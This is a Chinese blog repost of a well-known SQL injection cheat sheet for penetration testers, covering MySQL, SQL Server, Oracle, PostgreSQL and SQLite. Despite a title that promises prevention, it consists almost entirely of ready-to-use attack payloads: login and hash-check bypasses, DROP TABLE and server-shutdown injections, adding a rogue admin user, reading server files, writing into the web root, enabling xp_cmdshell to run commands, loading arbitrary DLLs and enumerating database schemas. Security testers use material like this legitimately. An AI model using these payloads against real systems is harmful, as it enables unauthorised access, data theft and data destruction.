SQL注入防范和示例(可用于自己的SQL安全测试)

2025-06-20 7点热度 0人点赞 0条评论

SQL 注入速查表

使用 SQL 注入速查表来学习如何利用不同变体的 SQL 注入漏洞。该速查表包含针对 MySQL、Microsoft SQL Server、Oracle 和 PostgreSQL 数据库服务器的 SQL 注入攻击的技术信息和有效载荷。

什么是 SQL 注入速查表?

这个 SQL 注入速查表是一个网络安全资源,包含详细的技术信息和攻击有效载荷,用于测试由于用户输入验证和清理不足而导致的不同类型的 SQL 注入(SQLi)漏洞。该速查表可以作为渗透测试人员的参考,也可以作为任何对 Web 应用程序安全以及 SQL 命令所能完成的意外功能感兴趣的人的一般指南。

关于 SQL 注入速查表

自 2015 年首次在 Netsparker 发布以来,该速查表一直是网络上 SQL 注入有效载荷的领先参考。它是一个持续开发的活跃文档,目前包含适用于 MySQL、Microsoft SQL Server、Oracle、PostgreSQL 和 SQLite 的有效载荷和技巧。与任何速查表一样,某些示例可能不适用于所有情况,因为实际环境中的注入会因服务器配置、结构化查询语言方言、括号使用、应用程序框架以及意外、奇怪和复杂的 SQL 语句而有所不同。

成功的 SQL 注入通常需要针对特定 SQL 数据库系统定制的有效载荷。有效载荷可用性如下所示:

  • M = 适用于 MySQL
  • S = 适用于 SQL Server
  • P = 适用于 PostgreSQL
  • O = 适用于 Oracle
  • L = 适用于 SQLite
    • = 可能适用于其他数据库

当有效载荷适用于多个数据库系统时,您会看到多个符号:

  • (MS) = 适用于 MySQL 和 SQL Server
  • (PO+) = 适用于 PostgreSQL、Oracle,可能还有其他数据库

使用 DAST 自动查找和利用 SQL 注入漏洞

该速查表列出了数十个 SQLi 有效载荷和技术,但仍然只是触及表面。不同类型的攻击、SQL 代码变体、编码选项、用于绕过过滤器的测试值——没有人能够手动覆盖所有组合,这使得 DAST 工具成为任何攻击性或防御性应用程序安全工具箱的重要组成部分。

目录

SQL 注入 101:注入注释以操作查询

行注释

在末尾放置行注释以注释掉查询的其余部分。行注释通常用于忽略原始查询的其余部分,这样您就不需要担心在注入点后确保有效的语法。

--

(SMPOL) DROP sampletable;--

#

(M) DROP sampletable;#

常见示例是以管理员身份登录:

  • 使用单引号注入到 username 参数:admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

如果成功,这将让您以管理员用户身份登录,因为 -- 后面的 SQL 查询的其余部分将被忽略。

内联注释

您可以使用内联注释来注释掉查询的其余部分,就像使用行注释一样(只需不关闭注释)。它们对于操作字符以绕过过滤/黑名单、删除空格和混淆查询也很有用。在 MySQL 中,您可以使用其特殊的注释语法来检测数据库和版本。

通用 SQL 注释语法是:

/*Comment Here*/

(SMPOL)

内联注释的典型用法:

  • 混淆: DROP/*comment*/sampletable
  • 分解关键词以避免过滤器: DR/**/OP/*bypass blacklisting*/sampletable
  • 删除空格字符: SELECT/*avoid-spaces*/password/**/FROM/**/Members

仅适用于 MySQL,您可以使用特殊注释语法:

/*! MYSQL special comment format */

(M)

这种特殊注释语法非常适合检测是否正在使用 MySQL,因为您在此注释中放置的任何指令都只会在 MySQL 中执行。您甚至可以使用它来检测版本。以下示例将仅在服务器使用指定版本或更高版本的 MySQL 时执行并生成错误:

SELECT /*!80027 1/0, */ 1 FROM tablename

经典内联注释 SQL 注入攻击示例

  • ID 值:10; DROP TABLE members /*
    简单地去掉查询末尾的其他内容。与 10; DROP TABLE members -- 相同

MySQL 版本检测示例攻击

  • ID 值:/*!80027 10*/
  • ID 值:10

如果 MySQL 版本高于 8.0.27,您将得到相同的响应

SELECT /*!80027 1/0, */ 1 FROM tablename

如果 MySQL 版本高于 8.0.27,将抛出除零错误

堆叠查询

堆叠意味着在一个事务中执行多个查询。这种技术可能非常有用,但仅适用于某些数据库服务器和访问方法的组合:

;

(MSP) SELECT * FROM members; DROP members--

成功时,这将结束一个查询并开始另一个查询。

注意,第二个查询(以及任何其他查询)的结果不会返回给应用程序。您需要使用盲注 SQL 注入方法来确认第二个查询正在工作,例如延迟、DNS 查询等。

堆叠 SQL 注入攻击示例

  • ID 值:10;DROP members --
SELECT * FROM products WHERE id = 10; DROP members--

这将在正常 SQL 查询后运行 DROP members SQL 语句。

条件语句

基于 IF 语句获取响应。这是盲注 SQL 注入的关键技术之一。对于盲注测试简单事物也非常有用,但准确。

MySQL If 语句

IF(condition,true-part,false-part)

(M) SELECT IF(1=1,'true','false')

SQL Server If 语句

IF condition true-part ELSE false-part

(S) IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle If 语句

BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;

(O) IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL If 语句

SELECT CASE WHEN condition THEN true-part ELSE false-part END;

(P) SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END;

SQLite If 语句

iif(condition, true-part, false-part)

(L) SELECT iif(1<2, "True", "False");

If 语句 SQL 注入攻击示例

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0

(S)

如果当前登录的用户不是 sadbo,这将抛出除零错误。

使用整数

对于绕过 magic_quotes() 和类似的过滤/转义技术(包括 Web 应用程序防火墙(WAF)过滤器)非常有用。

0xHEXNUMBER

(SM)

您可以在查询中使用十六进制值,如下所示:

SELECT CHAR(0x66)

(S) SELECT 0x5045 (M)(这不是整数,而是基于十六进制值的字符串...)

SELECT 0x50 + 0x45

(M)(...但这现在是一个整数!)

您可以在比较中使用此技术,例如:

' OR 0x20 + 0x10 = 0x30 -- -

字符串操作

字符串相关操作对于构建不使用任何引号的注入、绕过黑名单或确定后端数据库类型很有用。

字符串连接

+

(S) SELECT login + '-' + password FROM members

||

(*MO) SELECT login || '-' || password FROM members

注意,对于 MySQL,上述示例只有在 MySQL 以 ANSI 模式运行时才有效。否则,MySQL 会将 || 视为逻辑运算符并返回 0。在 MySQL 中更好的方法是使用 CONCAT() 函数:

CONCAT(str1, str2, str3, ...)

(M) 连接提供的字符串。

SELECT CONCAT(login, password) FROM members

不使用引号的字符串

除了几种直接指定字符串的方法外,您始终可以使用 CHAR()(MS)和 CONCAT()(M)来生成不带引号的字符串。

来自十六进制表示的字符串

0x457578

(M):返回基于十六进制表示的字符串

SELECT 0x457578

这将在 MySQL 中作为字符串选择。

  • 以下是在 MySQL 中生成字符串十六进制表示的简便技巧:
SELECT CONCAT('0x',HEX('c:\\boot.ini'))

使用字符串函数

所有这些示例都返回字符串 KLM

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))

(M)

SELECT CHAR(75)+CHAR(76)+CHAR(77)

(S)

SELECT CHR(75)||CHR(76)||CHR(77)

(O)

SELECT (CHaR(75)||CHaR(76)||CHaR(77))

(P)

基于十六进制的 SQL 注入示例

SELECT LOAD_FILE(0x633A5C626F6F742E696E69)

(M)

这将显示 c:\boot.ini 的内容

字符串实用函数

ASCII()
(SMPO) 返回最左边字符的 ASCII 字符值,对于盲注 SQL 注入特别有用。

SELECT ASCII('a')

CHAR()
(SM) 基于其 ASCII 值返回字符。

SELECT CHAR(64)

CHR()
(P) 基于其 ASCII 值返回字符。

SELECT CHR(64)

联合注入

使用 UNION 语句,您可以运行跨表 SQL 查询。基本上,通过注入 UNION,您可以毒化查询以从另一个表返回记录。

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

此查询将合并 newsmembers 表的结果并返回所有结果。

一个示例有效载荷可能是:' UNION SELECT 1, 'anotheruser', 'any string', 1--

处理 UNION 注入中的语言问题

在利用 UNION 注入时,有时会因为不同的语言设置(表设置、字段设置或组合表和数据库设置中的不同区域设置)而出现错误。这不是常见问题,但在处理以不同编码存储数据的应用程序时可能会遇到。以下是一些处理方法:

  • SQL Server (S)
    使用 fieldname COLLATE SQL_Latin1_General_Cp1254_CS_AS(或另一个有效的排序方法,查看 SQL Server 文档了解详情)示例:
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
  • MySQL (M)
    使用 Hex() 处理任何编码问题

绕过登录屏幕 (SMO+)

SQL 注入 101——这里是一些您可以与表单字段和参数一起使用的典型登录技巧:

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--

另一个技巧是以不同用户身份登录 (SM*):

' UNION SELECT 1, 'anotheruser', 'any string', 1--

绕过使用哈希密码的登录屏幕

很少有应用程序仍以明文形式存储密码。如果您想通过使用 UNION 查询提供自己的密码来绕过身份验证,您需要在替换之前对密码进行哈希处理。存在许多哈希算法,但为了简单起见,以下示例使用大多已过时的 MD5 算法。

应用程序可能通过首先基于用户名获取用户记录,然后检查输入密码值的哈希是否正确来验证登录凭据。您可以使用已知密码和此密码的 MD5 哈希来 UNION 结果。然后,应用程序将比较您的密码和您提供的 MD5 哈希,而不是数据库中的哈希值。

绕过 MD5 哈希检查的示例 (MSP)
用户名:admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
密码:1234

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

基于错误的方法发现列信息

使用 HAVING 和 GROUP BY 查找列名(基于错误)(S)

按指定顺序尝试以下有效载荷:

' HAVING 1=1 --

(触发错误 1)

' GROUP BY table.columnfromerror1 HAVING 1=1 --

(触发错误 2)

' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --

(触发错误 3)

  • ...
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --

一旦您不再收到任何错误,就完成了。

使用 ORDER BY 查找 SELECT 查询中的列数 (MSO+)

使用 ORDER BY 查找列数可以加速 UNION SQL 注入过程。尝试以下有效载荷:

ORDER BY 1--
ORDER BY 2--
  • ...
ORDER BY N--

继续直到出现错误,这意味着您已找到正在选择的列数。

基于错误的 UNION 注入的技巧

  • 始终将 UNIONALL 一起使用,因为您可以有相似的非不同字段类型。默认情况下,UNION 尝试获取不同的记录。
  • 要在连接中摆脱左侧表中不需要的记录,您可以在查询开头使用 -1 或任何不存在的记录搜索(仅在注入到 WHERE 子句时)。如果您一次只得到一个结果,这可能是必要的。
  • 对于大多数数据类型,您可以在 UNION 注入中使用 NULL,而不是尝试猜测列是字符串、日期、整数等。

在盲注情况下,确保始终检查错误是来自数据库还是来自应用程序本身。某些语言(如 ASP.NET)在处理 NULL 值时往往会普遍抛出错误(主要是因为开发人员没有期望在用户名等字段中处理 NULL)。

查找列类型的方法

使用 sum() 函数从非数字类型引发错误:

' UNION SELECT sum(columntofind) from users--

(S) Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

如果您没有收到错误,则意味着该列是数字的。

您也可以以类似方式使用 cast()convert(),例如:

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--

简单 INSERT 有效载荷

虽然 SELECT 语句通常是测试的首选,因为它们是非破坏性的,但向用户表中注入 INSERT 可以让您添加新用户,希望具有提升的权限:

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

(MSO+)

数据库版本发现

@@version
(MS) 为您提供 SQL Server 的数据库版本和其他信息。这是一个常量,所以您可以像任何其他列一样选择它(您不需要提供表名)。您也可以在 INSERTUPDATE 语句以及函数中使用 @@version

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

version()
(P) UNION SELECT NULL, version(), NULL

sqlite_version()
(L) UNION SELECT NULL,sqlite_version(),NULL;

PRODUCT_COMPONENT_VERSION 表
(O) SELECT version FROM PRODUCT_COMPONENT_VERSION WHERE product LIKE 'Oracle Database%';

从文件批量插入 (S)

将文件内容插入表中可以让您在只有数据库访问权限时浏览本地文件。如果您正在处理特别旧版本的 IIS(最高包括 IIS6),如果您不知道 Web 应用程序的内部路径,您可以在 %systemroot%\system32\inetsrv\MetaBase.xml 读取 IIS 元数据库文件,将其加载到表中,然后在其中搜索以识别应用程序路径。

要浏览文件内容,您可以使用:

CREATE TABLE foo( line varchar(8000) )
BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'

然后您可以删除临时表并为另一个文件重复此操作。

SQL Server 实用程序

bcp(批量复制程序)实用程序 (S)

使用 bcp,您可以将文件加载到表中或将表数据写入文件。使用此实用程序需要登录凭据。

bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

使用 VBS 和 WSH 脚本 (S)

SQL Server 中的 ActiveX 支持让您使用 Visual Basic Script(VBS)和 Windows Script Host(WSH)脚本。以下是一个示例 shell 脚本:

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

要将此注入到用户名字段中,使用如下有效载荷:

'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

SQL Server 存储过程

使用 xp_cmdshell 执行系统命令 (S)

这是命令注入的一个众所周知的技巧,但它有两个关键要求:

  • 在 SQL Server 2005 中默认情况下被禁用,因此您需要首先启用它(见下面)。
  • 您需要有管理员访问权限才能启用它。

获取命令提示符的典型有效载荷:

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

简单的 ping 检查可以用来查看您是否进入(您首先需要设置防火墙或嗅探器来识别请求):

EXEC master.dbo.xp_cmdshell 'ping example.com'

注意,您无法通过错误、UNION 查询或类似方法直接读取此 EXEC 的结果。

在 SQL Server 2005 中启用 xp_cmdshell (S)

默认情况下,xp_cmdshell 和其他几个潜在危险的存储过程在 SQL Server 2005 中被禁用。一旦您拥有管理员访问权限,您可以按如下方式启用这些过程:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

在 SQL Server 中执行注册表操作 (S)

存储过程可用于执行各种注册表操作。其中一些是未记录的,可能会随时间而改变:

  • xp_regaddmultistring
  • xp_regdeletekey
  • xp_regdeletevalue
  • xp_regenumkeys
  • xp_regenumvalues
  • xp_regread
  • xp_regremovemultistring
  • xp_regwrite

从注册表路径读取值的示例有效载荷:

exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'

SQL Server 的其他有用存储过程 (S)

  • 管理服务: xp_servicecontrol
  • 列出存储媒体: xp_availablemedia
  • 列出 ODBC 资源: xp_enumdsn
  • 管理登录模式: xp_loginconfig
  • 创建 CAB 文件: xp_makecab
  • 列出域: xp_ntsec_enumdomains
  • 进程终止(您需要知道 PID): xp_terminate_process
  • 将 HTML 文件写入 UNC 或内部路径: sp_makewebtask

您也可以使用 sp_addextendedproc 添加新过程,这基本上让您执行任意代码:

sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

SQL Server 中有用的系统视图 (S)

  • 错误消息: master..sysmessages
  • 链接服务器: master..sysservers
  • 登录和密码(注意 SQL Server 2000 和 2005 都使用类似且可破解的密码哈希算法)
    • SQL Server 2000: masters..sysxlogins
    • SQL Server 2005: sys.sql_logins

MSSQL进一步渗透的实用技巧

获取当前运行进程的详细信息

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

通过触发错误条件根据返回码检查命令是否成功

DECLARE @result int; 
EXEC @result = xp_cmdshell 'dir *.exe';
IF (@result = 0) SELECT 0 ELSE SELECT 1/0

获取SQL服务器的主机名

HOST_NAME()

检查用户是否为特定组的成员

使用 IS_MEMBER (Transact-SQL)

检查用户是否具有特定角色

使用 IS_SRVROLEMEMBER (Transact-SQL)

打开到另一台服务器的远程连接

使用 OPENDATASOURCE (Transact-SQL) 或 OPENROWSET (Transact-SQL)

注意事项: 记住你不能在SQL Server的 INSERT 查询中使用子查询。

SQL注入到LIMIT (M) 或 ORDER (MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

如果注入到第二个limit值,你可以将其注释掉或在你的 UNION 注入中使用它。

关闭SQL Server (S)

这偶尔会很有用。要关闭数据库服务器,注入:

';shutdown --

在SQL Server中查找和操作数据库结构 (S)

获取用户定义的表 (S)

使用 sysobjects 系统表(旧版本)或 sys.objects 视图(新版本):

SELECT name FROM sysobjects WHERE xtype = 'U'
SELECT TOP 1 name FROM sys.objects WHERE type = 'U'

获取列名 (S)

使用 syscolumnssysobjects 系统表(旧版本)或 sys.columnssys.objects 视图(新版本):

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

移动记录 (S)

一个非常有效的技术是修改 WHERE 并使用 NOT INNOT EXIST 子句:

... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

或者你可以使用一些用于列枚举的技巧:

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (
SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3)
as int as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id)
AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

基于错误的SQL注入:SQL Server中提取数据的快速方法 (S)

这里是一个示例负载,它结合变量和系统表查询将数据提取到临时表中(旧版本使用 syscolumnssysobjects,新版本使用 sys.columnssys.objects):

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE
id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM sys.columns WHERE
id =(SELECT id FROM sys.objects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

在MySQL中查找数据库结构 (M)

获取用户定义的表 (M)

SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'

获取列名 (M)

SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'

在Oracle中查找数据库结构 (O)

获取用户定义的表 (O)

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

获取列名 (O)

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

本文转自:https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/

admin

这个人很懒,什么都没留下

文章评论

您需要 登录 之后才可以评论